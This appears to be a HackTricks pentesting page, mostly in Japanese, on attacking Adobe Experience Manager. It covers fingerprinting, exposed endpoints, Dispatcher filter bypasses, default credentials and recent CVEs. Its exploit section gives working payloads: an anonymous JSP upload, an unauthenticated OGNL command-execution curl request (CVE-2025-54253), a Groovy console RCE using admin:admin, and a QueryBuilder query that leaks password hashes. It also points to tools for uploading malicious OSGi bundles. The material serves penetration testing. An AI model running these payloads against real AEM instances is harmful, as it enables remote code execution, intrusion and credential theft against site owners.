AEM (Adobe Experience Manager) Pentesting
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) は、Apache Sling/Felix (OSGi) と Java Content Repository (JCR) の上で動作するエンタープライズ向けCMSです。 攻撃者の観点から、AEM インスタンスはしばしば危険な development endpoints、弱い Dispatcher ルール、default credentials、そして四半期ごとに修正される長い CVEs の列を露出します。
以下のチェックリストは、実際のエンゲージメント(2022-2026)で繰り返し見られる、externally reachable (unauth) attack surface に焦点を当てています。
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
その他の簡単な兆候:
/etc.clientlibs/静的パスが存在する(JS/CSS を返す)。/libs/granite/core/content/login.htmlログインページ(“Adobe Experience Manager” バナー付き)。</script><!--/* CQ */-->HTML の末尾にあるコメント。
2. 高価値な未認証エンドポイント
| Path | 得られるもの | 備考 |
|---|---|---|
/.json, /.1.json | JCR ノード(DefaultGetServlet 経由) | 多くの場合ブロックされるが、Dispatcher bypass(下記参照)が有効。 |
/bin/querybuilder.json?path=/ | QueryBuilder API | ページツリー、内部パス、ユーザー名の Leak. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | デフォルトで403; 公開されていて creds が見つかれば ⇒ bundle-upload RCE。 |
/crx/packmgr/index.jsp | Package Manager | 認証済みの content packages のアップロードを許可 → JSP ペイロードのアップロード。 |
/etc/groovyconsole/** | AEM Groovy Console | 公開されていると任意の Groovy / Java 実行が可能。 |
/libs/cq/AuditlogSearchServlet.json | Audit logs | 情報漏洩。 |
/libs/cq/ui/content/dumplibs.html | ClientLibs ダンプ | XSS ベクター。 |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | 誤設定された Forms インストール上では(CVE-2025-54253)、このエンドポイントは未認証の OGNL を実行し → RCE。 |
Dispatcher bypass のトリック(2025/2026 時点でも有効)
ほとんどの本番サイトは Dispatcher(リバースプロキシ)の背後にある。フィルタルールは、エンコードされた文字や許可されている静的拡張子を悪用して頻繁にバイパスされる。
- 古典的なセミコロン + 許可された拡張子 *
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. 一般的なミスコンフィギュレーション(2026年時点でも残存)
- Anonymous POST servlet –
POST /.jsonwith:operation=importにより新しい JCR ノードを植え付けることができます。Dispatcher で*.jsonへの POST をブロックすれば修正されます。 - World-readable user profiles – デフォルトの ACL が
/home/users/**/profile/*に対して全員にjcr:readを付与しています。 - Default credentials –
admin:admin,author:author,replication:replication。 - WCMDebugFilter enabled ⇒
?debug=layoutを介した反射型 XSS(CVE-2016-7882、レガシー 6.4 インストールでまだ見つかります)。 - Groovy Console exposed – Groovy スクリプトを送ることでリモートコード実行が可能です:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap – パスフィルタでブロックされていても
%2f/%3Bを使うと/bin/querybuilder.jsonや/etc/truststore.jsonに到達可能になります。 - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=が認証なしで OGNL を評価し(CVE-2025-54253)認証不要の RCE に繋がります;Forms の送信での XXE(CVE-2025-54254)と組み合わせるとファイル読み取りが可能です。
4. 最近の脆弱性(サービスパックの周期)
| 四半期 | CVE / Bulletin | 影響対象 | 影響 |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | 複数の重大な / stored XSS → author UI を介したコード実行。 |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | セキュリティ機能バイパスの連鎖(Dispatcher auth checker)– 6.5.24 / Cloud 2025.12 へのアップグレード推奨。 |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE によるファイル読み取り(認証不要)。 |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Communities コンポーネントにおける Stored XSS と権限昇格。 |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM / Stored XSS、任意コード実行(低権限)。 |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | 細工された URL を介した DOM ベースの XSS。 |
常に顧客のサービスパックに対応する APSB バレットインを確認し、最新の 6.5.24 (Nov 26, 2025) または Cloud Service 2025.12 への更新を促してください。AEM Forms on JEE は別途アドオン hotfix 6.5.0-0108+ が必要です。
5. エクスプロイトスニペット
5.1 RCE via dispatcher bypass + JSP upload
If anonymous write is possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
次に /content/evil.jsp にリクエストを送る – JSP は AEM process user として実行される。
5.2 SSRF to RCE(過去の事例 < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py は aem-hacker に含まれており、チェーン全体を自動化する。
5.3 AEM Forms JEE における OGNL RCE(CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
脆弱であれば、HTTPボディにはコマンドの出力が含まれます。
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
anonymous read ACLs がデフォルトの場合、rep:password ハッシュを含むユーザーノードを返す。
6. ツール
- aem-hacker – 多機能な列挙スクリプトで、dispatcher bypass、SSRF 検出、default-creds チェックなどをサポート。
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – 自動的に QueryBuilder ハッシュの公開と encoded-slash bypass を検出します(公開: Dec 2025)。
- Content brute-force – 隠れたコンポーネントを発見するために
/_jcr_content.(json|html)を再帰的にリクエストする。 - osgi-infect – 資格情報がある場合、
/system/console/bundles経由で悪意のある OSGi バンドルをアップロードする。
参考資料
- Adobe Security Bulletin APSB25-115 – Adobe Experience Manager のセキュリティアップデート(Dec 9, 2025)
- BleepingComputer – Adobe、AEM Forms の zero-days に対する緊急修正を公開(Aug 5, 2025)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


